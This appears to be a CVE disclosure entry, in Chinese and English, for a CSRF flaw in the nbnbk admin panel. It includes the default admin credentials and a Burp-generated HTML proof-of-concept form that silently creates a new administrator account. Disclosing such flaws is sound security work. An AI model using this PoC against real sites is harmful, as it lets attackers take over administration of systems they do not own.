Headline

CVE-2022-46491: 🛡️ CSRF Add Background User in nbnbk · Issue #2 · Fanli2012/nbnbk

A Cross-Site Request Forgery (CSRF) vulnerability in the Add Administrator function of the default version of nbnbk allows attackers to arbitrarily add Administrator accounts.

2 years ago

CVE

Open in Source

#csrf #vulnerability #web

nbnbk 存在 CSRF 添加后台用户

CSRF Add Background User in nbnbk

该漏洞可以通过 CSRF 的方式，无需知道管理员账号密码进入后台，即可在没有痕迹的添加管理员账户。
漏洞存在版本：default

This vulnerability can be accessed via CSRF to add an administrator account without knowing the administrator account password to the background.

Vulnerability Existing Version: default

具体实现

Specific implementation

http://nbnbk:8888/fladmin/login

通过打开 /fladmin/login 路径进入后台登陆界面
Enter the background login interface by opening/fladmin/login path

使用默认密码 admin888/123456 进入后台，找到用户管理列表里的 “管理员” 界面中的 “添加管理员” 功能点
Use the default password admin888/123456 to enter the background and find the Add Administrator function point in the Administrator interface in the User Management List

随意输入用户名和密码，点击保存。
Enter your username and password at will and click Save.

在 bp 查看请求数据包，然后通过 bp 生成 CSRF POC 代码。

复制后在本地新建文件，通过 python -m http.server 8099 开启本地的 web 服务。

View the request packet in BP and generate the CSRF POC code from bp.

Create a new file locally after copying, via python-m http. Server 8099 Opens a local web service.

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://nbnbk:8888/fladmin/admin/add" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="name" value="admin" />
      <input type="hidden" name="pwd" value="123456" />
      <input type="hidden" name="email" value="" />
      <input type="hidden" name="role&#95;id" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

点击 submit request 提交请求
Click submit request to submit the request

点击后提示添加成功
Hint to add success after clicking

查看我们的请求数据包
View our request packet

Origin 和 referer 是我们自己的服务。CSRF 添加管理员账号报告到此结束。
Origin and referer are our own services. This concludes the CSRF Add Administrator Account report.